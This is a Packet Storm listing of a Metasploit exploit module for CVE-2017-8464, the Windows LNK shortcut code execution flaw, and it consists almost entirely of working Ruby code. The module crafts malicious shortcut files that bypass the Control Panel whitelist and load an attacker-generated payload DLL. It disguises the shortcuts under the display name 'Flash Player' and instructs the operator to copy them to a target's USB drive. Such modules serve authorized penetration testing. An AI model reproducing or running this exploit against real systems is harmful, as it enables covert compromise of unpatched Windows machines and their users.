Lucene search

K
packetstormYorick KosterPACKETSTORM:143623
HistoryAug 01, 2017 - 12:00 a.m.

Microsoft Windows LNK Shortcut File Code Execution

2017-08-0100:00:00
Yorick Koster
packetstormsecurity.com
88

0.975 High

EPSS

Percentile

100.0%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
  
attr_accessor :exploit_dll_name  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'LNK Remote Code Execution Vulnerability',  
'Description' => %q{  
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)  
that contain a dynamic icon, loaded from a malicious DLL.  
  
This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is  
similar except in an additional SpecialFolderDataBlock is included. The folder ID set  
in this SpecialFolderDataBlock is set to the Control Panel. This is enought to bypass  
the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary  
DLL file.  
},  
'Author' =>  
[  
'Uncredited', # vulnerability discovery  
'Yorick Koster' # msf module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2017-8464'],  
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'],  
['URL', 'http://paper.seebug.org/357/'], # writeup  
['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'] # writeup  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Arch' => [ARCH_X86, ARCH_X64],  
'Payload' =>  
{  
'Space' => 2048,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows x64', { 'Arch' => ARCH_X64 } ],  
[ 'Windows x86', { 'Arch' => ARCH_X86 } ]  
],  
'DefaultTarget' => 0, # Default target is 64-bit  
'DisclosureDate' => 'Jun 13 2017'))  
  
register_advanced_options(  
[  
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true])  
])  
end  
  
def exploit  
dll = generate_payload_dll  
dll_name = "#{rand_text_alpha(16)}.dll"  
dll_path = store_file(dll, dll_name)  
print_status("#{dll_path} created copy it to the root folder of the target USB drive")  
  
# HACK the vulnerability doesn't appear to work with UNC paths  
# Create LNK files to different drives instead  
'DEFGHIJKLMNOPQRSTUVWXYZ'.split("").each do |i|  
lnk = generate_link("#{i}:\\#{dll_name}")  
lnk_path = store_file(lnk, "#{rand_text_alpha(16)}_#{i}.lnk")  
print_status("#{lnk_path} create, copy to the USB drive if drive letter is #{i}")  
end  
end  
  
def generate_link(path)  
path << "\x00"  
display_name = "Flash Player\x00" # LNK Display Name  
comment = "\x00"  
  
# Control Panel Applet ItemID with our DLL  
cpl_applet = [  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,   
0x00, 0x00  
].pack('C*')  
cpl_applet << [path.length].pack('v')  
cpl_applet << [display_name.length].pack('v')  
cpl_applet << path.unpack('C*').pack('v*')  
cpl_applet << display_name.unpack('C*').pack('v*')  
cpl_applet << comment.unpack('C*').pack('v*')  
  
# LinkHeader  
ret = [  
0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C  
0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046  
0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode)  
0x00, 0x00, 0x00, 0x00, # FileAttributes  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime  
0x00, 0x00, 0x00, 0x00, # FileSize  
0x00, 0x00, 0x00, 0x00, # IconIndex  
0x00, 0x00, 0x00, 0x00, # ShowCommand  
0x00, 0x00, # HotKey  
0x00, 0x00, # Reserved1  
0x00, 0x00, 0x00, 0x00, # Reserved2  
0x00, 0x00, 0x00, 0x00 # Reserved3  
].pack('C*')  
  
# IDList  
idlist_data = ''  
idlist_data << [0x12 + 2].pack('v') # ItemIDSize  
idlist_data << [  
# This PC  
0x1f, 0x50, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,  
0x30, 0x9d  
].pack('C*')  
idlist_data << [0x12 + 2].pack('v') # ItemIDSize  
idlist_data << [  
# All Control Panel Items  
0x2e, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,  
0x30, 0x9d  
].pack('C*')  
idlist_data << [cpl_applet.length + 2].pack('v')  
idlist_data << cpl_applet  
idlist_data << [0x00].pack('v') # TerminalID  
  
# LinkTargetIDList  
ret << [idlist_data.length].pack('v') # IDListSize  
ret << idlist_data  
  
# ExtraData  
# SpecialFolderDataBlock  
ret << [  
0x10, 0x00, 0x00, 0x00, # BlockSize  
0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005  
0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel)  
0x28, 0x00, 0x00, 0x00 # Offset in LinkTargetIDList  
].pack('C*')  
# TerminalBlock  
ret << [0x00, 0x00, 0x00, 0x00].pack('V')  
ret  
end  
  
# Store the file in the MSF local directory (eg, /root/.msf4/local/)  
def store_file(data, filename)  
ltype = "exploit.fileformat.#{self.shortname}"  
  
if ! ::File.directory?(Msf::Config.local_directory)  
FileUtils.mkdir_p(Msf::Config.local_directory)  
end  
  
if filename and not filename.empty?  
if filename =~ /(.*)\.(.*)/  
ext = $2  
fname = $1  
else  
fname = filename  
end  
else  
fname = "local_#{Time.now.utc.to_i}"  
end  
  
fname = ::File.split(fname).last  
  
fname.gsub!(/[^a-z0-9\.\_\-]+/i, '')  
fname << ".#{ext}"  
  
path = File.join("#{Msf::Config.local_directory}/", fname)  
full_path = ::File.expand_path(path)  
File.open(full_path, "wb") { |fd| fd.write(data) }  
  
full_path.dup  
end  
end  
  
`